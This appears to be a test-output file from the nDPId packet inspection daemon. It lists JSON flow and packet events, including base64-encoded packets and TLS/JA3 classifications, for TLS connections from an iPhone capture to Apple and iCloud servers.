+00424{"flow_id":43,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":934682,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xiwDYGpkxGGLNYKpCABFAAA0AABAAEAG0qPAqAIRaEk9HsWXAbvBeeAbaSF1XIAQBAsFUQAAAQEIChHf6XCgrSHd"} +01124{"flow_id":43,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":934804,"pkt_caplen":583,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":583,"pkt_l4_len":549,"pkt":"xiwDYGpkxGGLNYKpCABFAgI5AABAAEAG0JzAqAIRaEk9HsWXAbvBeeAbaSF1XIAYBAsuXAAAAQEIChHf6XagrSHdFgMBAgABAAH8AwNtBQ39ZZolUQlIKZvwJ9K7La1xqdRBloywOH0GLRPkhCDqdWO0c0GWZx4zxXgdQ\/9DtV6\/rjVuXk5WS8q\/E2fRGwA0EwETAhMDwCzAK8AkwCPACsAJzKnAMMAvwCjAJ8AUwBPMqACdAJwAPQA8ADUAL8AIwBIACgEAAX\/\/AQABAAAAABIAEAAADWNsNC5hcHBsZS5jb20AFwAAAA0AGAAWBAMIBAQBBQMCAwgFCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAAMwAmACQAHQAgkut+xvbl0enT8wHxxvt3I2L9WcgyzsmX6TenEv+j7w0ALQACAQEAKwAJCAMEAwMDAgMBAAoACgAIAB0AFwAYABkAFQDQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00774{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":222,"source":"iphone.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":4,"flow_first_seen":1582454598888,"flow_last_seen":1582454598934,"flow_tot_l4_data_len":665,"flow_min_l4_data_len":32,"flow_max_l4_data_len":549,"flow_avg_l4_data_len":166,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"104.73.61.30","src_port":50583,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"cl4.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00424{"flow_id":43,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":224,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":972842,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0b4QAADUGrh9oST0ewKgCEQG7xZdpIXVcwXniIIAQAOsGOAAAAQEICqCtIgsR3+l2"} +02379{"flow_id":43,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":225,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":974332,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUb4UAADUGqHxoST0ewKgCEQG7xZdpIXVcwXniIIAQAOtKGQAAAQEICqCtIgwR3+l2FgMDAHoCAAB2AwPMooL+o+XRHDh3LmPZe4GWy6glKR11iZpshv\/b59HzuyDqdWO0c0GWZx4zxXgdQ\/9DtV6\/rjVuXk5WS8q\/E2fRGxMCAAAuACsAAgMEADMAJAAdACBE0iKjE3XawMWAJNCW4b7IWCu3FeOuIVKOTQaOMM6rIRQDAwABARcDAwA0Y5HFUWCr304\/9L75R71DhwBs\/vRA07JU288nPupmA\/Rlc2+scIQK\/FZmUoJdS2BmyD839RcDAxKGthdzXZHBmQ8sHOFJbIBP9rgS+WgHJorSuu5zwZDN4QWckoden81TrWI38HWIzl57IuJ4m9H4nvohoXrNHgd5o8nl0OFnUy10UxyBVIXu9r+cOqdRt13flo\/uTLy+vCXsLEFj0rhxume3NI+GPZLmOEfchkUyEr0EvXWmgwxSQuNB3\/AHKNnnuwxyOa9ftHjxy+aSlXvEYda3P7rcACmjJbrfNOmoOgX\/VZdIoVuyqh15aa\/N4idJndBIIpUYC6SeuqfwBVDPu49ZSwI5cTccl+3LEYe93lEfHkaCRR8m75hmVGHnWY2RygzUbLJv4ypqTbgnHInpGY8+GWawPOY69I\/0hgTm82gkZTed1+uRxPu1yyd9+VJC5AvZQjAVw6E8OcjOiNj4MXtslnZX8Ga8CMdhrzMqdxCMu4oZQLeuogLIPvjJR7GNKWB+tTGwIfT3eLYESQm2I9BA5WBXDLmbPFsRrnQP2nqzkomDOM\/iGBAnTkWxzkn6Qx\/uJFh+xgTeMMSVYOhWWj0rmu5kWwVROPpL9aqXSQkliGl\/UedAP+amRonHJg+8P0UqZG+h4svz2jQZpLINc7jMzKDRUkn6GlYeEZBwFu\/v+E5WRYqYppyx9ACkzL\/+3EOOY+5222CmscCwmDM4phMqyx5KBnf5P+BwB6XQdFP2v5rUA67P7fVfU7DaEFKEgZ0Eo27ux2tnj+ul6EvdJt2xxORfGSvEqJYM7uBNDOti1Lw5jgWoSrIVKqMdZ651\/Aj3PMuwQe1TtSm3EEyaQVtdxWNan3LuHOI1lGN+KlWEjtdatRHlbhQjQN3YzvSTNlBv085UrYPjMrObeb9QUJA4s3+1O7k\/su2VJAUOTsLG9GEtaexuOa\/tIXLetG+c6cbzHIotrQI3HajqQnZObirzA8yYCdq6+nwL7ZKbs1QLM19W3cIpwA8EGID6HewrUhihnMxahkUaypRIprjH9o8pS10VbJzrDceJCKQj2mjB6d8B8F4jjJdPkXEfCQRcO\/QbPdW7wAyuOwobvQ\/aq6V+LJ0NKJI1RxTBwFjT0zhBhEGonqVgSnv37K0EWRU4r3FdcPhPrJmXxeHmrKjnbI8n+77Nas3OIeCuBX6ixuCnVNKbCE7DHoLQIO3H29a63nio5Ri2in7NYQMnAzWEw5GZ+2JmshSsiY7CXZIjKVDvQQfQzcSsWMv\/2n1mu6frX9Yc0p4eUppb6S1DWHY9A3rXhD0gfh5qT+db+93lIZAVBaxvUWSQ0\/rcTkkRbki63qlh16d+Gc+oDwzsbxBBH2M8dUhDkJ4d3RBpPcLoFwoIHtLEwlnlbiDgOoxuHyurCta7otcuQVC9OSBTd+GLqTv6BLY+QboQqRHot+KaSUlr\/cPdpyPQL75RL2ZMPtKxlYjb9z6qqDpMJcFJnvuF2+dgpSdpWAnEoqrnEqp14CRxchlCsDnF0eriLt8Rogu8zoeB0q53wWuIgJvgNLypKN+vwga082jJTpz1pS+sWPKhvabqBrwQlshJzFMOL9gzWPlyugOf\/0gxshHOXrWIQTs4SAS73BY3CrU\/iCGu45WxL0WEs1YEtwm6j11Hp5OYHtWw7tc\/OreSKwRZMFlRu1zoHRF2jilzhf8Zlreethd1FrkasBIUffRp7CtM23rMhL3kHg2I"} +00815{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":225,"source":"iphone.pcap","alias":"nDPId-test","flow_id":43,"flow_packet_id":6,"flow_first_seen":1582454598888,"flow_last_seen":1582454598974,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"104.73.61.30","src_port":50583,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Apple","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"cl4.apple.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02385{"flow_id":43,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":226,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":974476,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUb4YAADUGqHtoST0ewKgCEQG7xZdpIXr8wXniIIAQAOu+OAAAAQEICqCtIgwR3+l2I\/FGECANFGDfmllYaZ\/GlsKlYAN75mA1lbNj8YpBwyr19rIgtLk2IdRg\/VCJsIPnLeQnE41IVlnPN5DzW57mCY+jMGbxDKGvPxVWRzJ3mK9SlzMDtC8lBwTMomMHeCmWQZ7epsXyvlvC\/MSeVJSDT1TlIPzfiuxDV5YBxn+VtAIDGOJ8cXy7szNxDjbUE161l8zBjl\/mIWUobCzZjcKqryxBb4ftavjy0wOhWQKIc3hZDMV355NusDwC2pAExeOlQ1QIsXa3K+1UiBhfSM9blEBa3ZhteWNxs1HiyJDIK0YzFX\/fBxsLgOB8C5i8tHg+lZdRserEQNugioDRz\/BtPo3esiD2G+0x3l0nkepqXhRviP4n\/s5z6w0uYQexjr3fp\/NBjOrocsPHHl\/7ESn3GaL\/8U9Wnw\/X3S3C6S9qCSOtUiqB2FEX9UWOhPInKWmQQwzirjC7021ak5nS3CsdctNp9\/4BjBJMr1jAApdYA9pxl9HW2tzi0jZttjZAGox5ha1wlAGDANxAxGq0Tsh\/3QUSwZsrRdH4WWmW3r0RPNGJQ5wOS8jcPpQ0x\/hEgvoUE4WFoJo95YdQmkBO1a3AqTcIYMnWfVqS2mJQ+9MFI6SMHCB9aWgC2a9HfnC3Gw\/4QXKIzWJeVE8jQbRpxQKUuGnKdc14mSplcw1yNSAYabuLvpA9RbnD5na4gfrvh0rz\/oAJiKTSpSOTTAmB254GakTRCDrX3SGZfwXjawLavtVIHn5ESvF5pFAdXDbsuYfPP+3LNTkwJBwNhrImMZ0B28nwTciFeh\/Kbm4ZxMla2NwXE\/tDSDF7qVQLbrshXntadxWLQBdeFSEYOCJqz1O0ciLX2C4zXnBQj87r1cZVHENyqtM3tPTSIcs4jR6kLc2bmIiUdmjbZmDd8OqWXtdYOVGU\/VvxrII2UmDpIL\/If8oKeH\/fIk46rwcFYxKWbrgj5htUGkWBLAJ7\/e3I\/catAtLwVTcW7Gz8kDvt7NF4t036tzz32YG+GTMaomMrxXRzUK0ZSx\/Q+9fGdRPQQ9r3VF71ElFNVeZi04f\/PLOhOIiqKalVraItkSTOO8PoYjZ7pC+4KHI\/4UfU2CN360vTK1hypQPLklm11OuTrWMzjlkLLUNYI7j8TF\/TyfeYnFNtL6VIEalLA4Du7nZcmGR+wtB44l+n6vm6kXJRQF6e4dYToqFnH8M45AObpX4aY9E0XOngqMUG3J0VWXasNrHlWirFG1u3S5DsDGZrKTvzXgkKHBnmzCDaVRQ3rQHzRSfpVL03j8wIowpHexLpmxBxZ52lUThll4aK43wPburg6lClAK2VHcGGOLrXzUkmT5nA4EX0FWyBwgiMfVK4Sl37BX4\/b4KvT5vAEdoD\/6FNTXuwq7dlOTaFmNunkTADRKeRxM61x92EInz\/itlMn5+4jaJviZSiEswTMvRAmdMibrkrG0rM8iYfNM3xXfbj2IPUpeEpyO3e2wIPZ52TyfAHbwPzhCcw9XfTQAlXJ7hQToOOQ69cEh6s43Y2WJWlFMTTwoPvJ\/WEPLJALN0MR1hMmtOXYjdt2QY6nmEwkemdB2kKeFcEwOQEwekll7HsDskh6dU4sKGmBgsZrTJg795vkJJYvs\/aLieZafSfAGioHjQyFBFAZe0+MTp1xKrcil8uWDyS8jtuyqLEo+u2clQZm2pzJPWyfV9j6rl0jd4rr558jDp5PbL3brbWse4BtaZDDl+YMMUxojs1Ximf7\/N6ztuvYwFec6WZyEW5GeZnu0uq81OhDRngArRRbNpSd+QBQ7M3cMYt22sFh3P1t2iwWhfIihY3cy3YaIpH0yyfp1zsGJATdoQyIw+qTDYdTeRpzbij6BQ2vYBGsmePqHIT3A9IM1Omh1QHj02YqRWt9entO\/UvgbyHq6hUhqOe8kYP"} +02090{"flow_id":43,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":975422,"pkt_caplen":1282,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1282,"pkt_l4_len":1248,"pkt":"xGGLNYKpxiwDYGpkCABFAgT0b4cAADUGqVpoST0ewKgCEQG7xZdpIYCcwXniIIAYAOsLigAAAQEICqCtIgwR3+l2LI4ujdaqnnl1QHjG+GVIJ04tcZkDpM6mOpXtqIuE+0L676bvkxwraC4QMiVRVVVxh+zqRGjqdKruAubRmhoVaQEYytIy\/q\/PFlncpuSTglmMIjyjQb7EZ\/MdboBVOvUqXY56Rq0Nh\/TDeceAwdNTwSUOsVAidDoSKltiCZwlKQ7NNUql+EgpDEkltPwlhZnxl2D534+11P0rbqnr6g+FBcniShbxspDpvDXsPgLREXJTRdKkV5vJE868GDVGRFQGtUGBNDQyvEGigWTIE10dMaBxeqhCpCt0dtG8di1TAL8FFG1k22fLkUY9rQZK17IKPwL2cvYMoh0z46yOiSL\/Nz0WsP\/97Ot9l7RrHxKgW2vs4yQxJFyiSUSMd0+F7yJhVc9ptfPgB+\/sHR2wKPY2KE0ESxnW2y3quZGTwpvizBZmY+\/eS\/mJ\/ZP\/+50ElQBqZBqkNNVns8ew5qN7JO7YmHguaWgKpRT5qsQi5cbkNJxNv8qPiBAw002roNgRLiag8ixbTkxZYNzklbXjqLiWHpy4ArzyYryJ1xjj7tSObd\/JXfhrU93MpV14eH81VXviKY+K5peJwugODCluebWPdrtbIKul0gUFgTLfPToCNNJJYVMyziwGuBpjChp7KQa0hLJLOSqcq84JtcOrJyTy5HTnOzfMxdXEXpTaoOVRPswFciEXeopOPeOjskCM0\/bd2XbtOZcRQ3B\/4Iow2hQm7khTdXdwfLYyk7rVMONdtrxDOLrOMVGOq7VWHT2zzfW+pBW7twE35d3zYot7WXa58VY9eA6Ul01kyb7xAc02yFkxyMkT\/yzNhZeqc4CSkN\/uNhRhin6lHu2\/mgl4sSTH971gANXfMzvcCHHA3Pl2\/4j2YSu1I4jTme4\/Q5h7iP52anq+j9AeyLfLaQg6ugxcrzJgef5QoZnwxvsoTE\/XQh3Ul371uU21aEphl54w4bGaISCNqg6MzlD4SDEozDvhh7SbT1XchNlggrhgD8pXMQi8q\/EZVh7uI8OTK4PZyJDV9pG\/OE\/JwsxjQRPqmg3eeBVbf0YMe7oJm7si4I\/uY+FIX09i7t8HwldZ9kvCudqrjJoi1A+KlPM\/gKjNpP6vvZ+zKJFtP9v9pIOo1X5sldlmxfMdzdTAxPDR+obqN+z6jt7Z4UMpvBesBFAdM\/UTx6yMZEW4jpbgbNXRjbdCrQr0glnTBS5CeBGOcLLdjeSO11IRv31FecjH42Hb7a4NJ1avbhh8p7Wp+5\/jsZl\/Drn8ihwHxozVxLElPDzWWNc\/gBKR8eoPXapa9Sq0USmwlSvXDf\/OoKYUI6VenzD+rNynvCy11u\/m4pxUr8TPETcafordxTZr1yTSqXWHq4G5Ny1wpVUNCaU\/ZhWnlIDC7mvAcLdoyXAzGdD60oe+9c2svi9ia76eQxQYTBLCJ2z7vcQhLllZRHlyhomGJ55bhk+wq\/NQjpdhe2Cw9BpATaNSlmBToQrtIuQfFMOcatLAs\/3thoKrF23jDv1ZkOg\/70d+eXkMt1f4Souoz7smEUFvRz4Qbhui2MJGABcIVsRj7T0NcGRRYoLVQuc1vO50koNUVkuQBd9pIE6Ti\/QUa3vfbXahjTgXkaIKD5inJ0QmPA=="} +02057{"flow_id":43,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454598,"pkt_ts_usec":975673,"pkt_caplen":1267,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1267,"pkt_l4_len":1233,"pkt":"xGGLNYKpxiwDYGpkCABFAgTlb4gAADUGqWhoST0ewKgCEQG7xZdpIYVcwXniIIAYAOvodQAAAQEICqCtIg0R3+l2SkTMBPp\/p8lFXhB0RlPC1zHPW\/PIUL4j76iX6n6QYzn8PuDG5PVvh8BwHMI4V1U+oYNViNIjWKAouQrmvIzxzYfBKGCwbC5AC73Kbp56hG2kOc1ij95iGfR0mKwjHDX8hFUPJDiGZOHWgAVzqOChlri1fs7g3ZYZKcH5FfCQWdiFyXgusOVOBCNJdKI9fcBXCKnOqC2v6UqGhPHYpT+XzsdUj5JNdR0ftswO5Of3ReTqEeYwIfTYxcWqM9nLx+KL8DgfIwoaWiq\/OZjCpbZo6zKvUMXsfJSBnYdlnqOLZaxuYbfAMTuBWsAsxgS53fcNN\/Upky2Ni3sh5V+55a\/ahSRzg4olT3dADw8CZqu\/GtianrhdL51xVyYT44wb9pyTb8LZPXSMrr6VXl+Z9Fg5RlYabXQwex+iUfBjrbJBVwgbAm0o6y2mtL\/o03aKC3PEUPlyBOhHPDjTl+vED4ARDYhZxSY55roVOVW7oe7sfWY1m1MuBkGx9CsxmahbUd5lt13K6F5mZmjQt\/if8SoMOQzwVBiJdSjtVcIh\/VPn7KaPiHy2JAhyqW5eSBuDmPPFfSDTFiMqjeVuGcyhDTJbkcghRhbmRbgJV0\/TMZ98Uz4WyhwNh5hlAaNTM3fQPYM635ZRyfNAmz22nQhNpPHFIGqFUOlBkeShcZk5DR2RBMbDapOveTbXMOqogjugLs6klwckMH8JajAiB9JNPmlOqD\/R723da2HMNwv03j2rXLxkmn1k8XYzYjbOXHPbo9jyIHVIc0AvAQvG\/vTi3TuPq+js859l2ThyRIkD2PfLvy8S3LloJ+CXbLN3zvTwjUDaQhGySmuEtbVs14gO47IiDEMtJ6yrLLED1EeLsfSvFia4wpkbkLsUeEscDNfKuQXv8dB2DB4Cf8FYkRhH8uUxDIPG30dqU5yaZgjsoK2d9mq7n+9nhnIw9NMYsKsH9faVDWIYjTN43ys74ys\/9O9\/jKt4TjNEYHSuI1E2MTUigi\/M28POxLZt8WxUMTfeDCN+iPIpZsmBix8UiRT193+Cu58VfYxBgnIDsj3aWnSQF5hhYLxY9vTawIjSGEA11Xoou+EzppnB9KRWorHm4\/BB4WSAsh0TFfClwRcDAwEZhz4T\/o6hJ8+MJ+GbkFndgmAi+5nbHUxRm1n9b26OKzVAilYMEDenug\/R6dFZW1M9q6dDXE3myOcE2UY1HAw4HIt0petPKp64Ks1JlIPuDRs7H1od+iZRRVYQ+kka\/AxlcDbnKuedFi4ejjk2yu4EsdeYsKb1vtYPjXf\/mZ09UGZ178HwJiiQ35ZAfZOuUOpd+DdCmfg8U9O10vvtHGMdbWTT6IeVf\/buZVysgsSyd5IJAbG4fyIu\/9JWIzjgu6srksEbSXBubZEAeN5LXvl98pM5t+F7zIFxDMClFa1UN009lGG0kKxKJnl\/qxLBlbvlfNhlstJEYhAOnyhq4mnrxBgPgX9Z3a8I3lsQeyRTWtMyQx35g77nv+YXAwMARUkF2gTmEJhap77m1u2moMldNHQKhjkSi8LmvtnICA+lg0fSDVQypIKelfheKdBqM7aRtFRKUij8biFHcxoaduQQN+P1NA=="} +00423{"flow_id":40,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":39138,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"xGGLNYKpxiwDYGpkCABFAAA0NCoAADEGx5ER+LlXwKgCEQG7xZWfE+ImqBrg7oAQA6sCYwAAAQEICuksLLIR3+lT"} +02357{"flow_id":40,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":41842,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUNCsAADEGwe4R+LlXwKgCEQG7xZWfE+ImqBrg7oAQA6tqcgAAAQEICuksLLMR3+lTFgMDAG4CAABqAwO7poHEiZGdt5nG1\/7SAD+r0GdtucyF0vh+YzewrO4OPSClK3iRT7eLvskrEVxFxtFlnByi1SpNpDW\/fqJcGELTFsAsAAAiAAAAAP8BAAEAAAUAAAALAAIBAAAQAAsACQhodHRwLzEuMRYDAxVfCwAVWwAVWAARDjCCEQowgg\/yoAMCAQICEBKz1lMg7SG22flROvhDB1QwDQYJKoZIhvcNAQELBQAwYjEcMBoGA1UEAxMTQXBwbGUgSVNUIENBIDIgLSBHMTEgMB4GA1UECxMXQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkxEzARBgNVBAoTCkFwcGxlIEluYy4xCzAJBgNVBAYTAlVTMB4XDTE5MTIwOTE5MzUwNVoXDTIxMDEwNzE5NDUwMFowXDEjMCEGA1UEAwwaa2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb20xEzARBgNVBAoMCkFwcGxlIEluYy4xEzARBgNVBAgMCkNhbGlmb3JuaWExCzAJBgNVBAYTAlVTMFkwEwYHKoZIzj0CAQYIKoZIzj0DAQcDQgAErG83k1xjqzx2HJwbRJIrhyp7RWAA1e\/vewDf10hGmovZaWZ\/kY5JsBgNkR7\/W2Go\/KjtdzOHXWekyfGK9ZhGEqOCDoswgg6HMAwGA1UdEwEB\/wQCMAAwHwYDVR0jBBgwFoAU2HqURHyQcJAWnt0XnAFEA4bWKikwfgYIKwYBBQUHAQEEcjBwMDQGCCsGAQUFBzAChihodHRwOi8vY2VydHMuYXBwbGUuY29tL2FwcGxlaXN0Y2EyZzEuZGVyMDgGCCsGAQUFBzABhixodHRwOi8vb2NzcC5hcHBsZS5jb20vb2NzcDAzLWFwcGxlaXN0Y2EyZzEyNTCCCasGA1UdEQSCCaIwggmegh5wNjIta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA0MS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDk3LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMjgta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAzMi1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDU2LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMzMta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAzNy1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDY3LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wNzAta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA2My1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDA3LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wNTIta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAxOC1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDIxLWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMTcta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAzNi1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDE5LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMjYta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA1NS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDA2LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMjMta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA2NS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDU4LWtleXZh"} +00862{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":233,"source":"iphone.pcap","alias":"nDPId-test","flow_id":40,"flow_packet_id":6,"flow_first_seen":1582454598721,"flow_last_seen":1582454599041,"flow_tot_l4_data_len":2169,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":361,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.2.17","dst_ip":"17.248.185.87","src_port":50581,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.AppleiCloud","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"p26-keyvalueservice.icloud.com","ja3":"6fa3244afc6bb6f9fad207b6b52af26b","ja3s":"1e60202b4001a190621caa963fb76697","unsafe_cipher":0,"cipher":"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02349{"flow_id":40,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"iphone.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1582454599,"pkt_ts_usec":41975,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"xGGLNYKpxiwDYGpkCABFAgXUNCwAADEGwe0R+LlXwKgCEQG7xZWfE+fGqBrg7oAQA6tWTQAAAQEICuksLLMR3+lTbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMzUta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA0Mi1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDEyLWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMTUta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAxNi1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDI5LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMzkta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA3MS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDIyLWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wNDAta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAxMS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDY2LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wNjgta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CH3AyMDEta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAxMC1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDYxLWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMzAta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAwMS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDE0LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wNTAta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAzMS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDQ3LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wNDgta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAyMC1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDUxLWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMjcta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnA0OS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDAzLWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMjQta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAyNS1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDA4LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMTMta2V5dmFsdWVzZXJ2aWNlLmljbG91ZC5jb22CHnAwNC1rZXl2YWx1ZXNlcnZpY2UuaWNsb3VkLmNvbYIecDA1LWtleXZhbHVlc2VydmljZS5pY2xvdWQuY29tgh5wMDIta2V5dmFsdW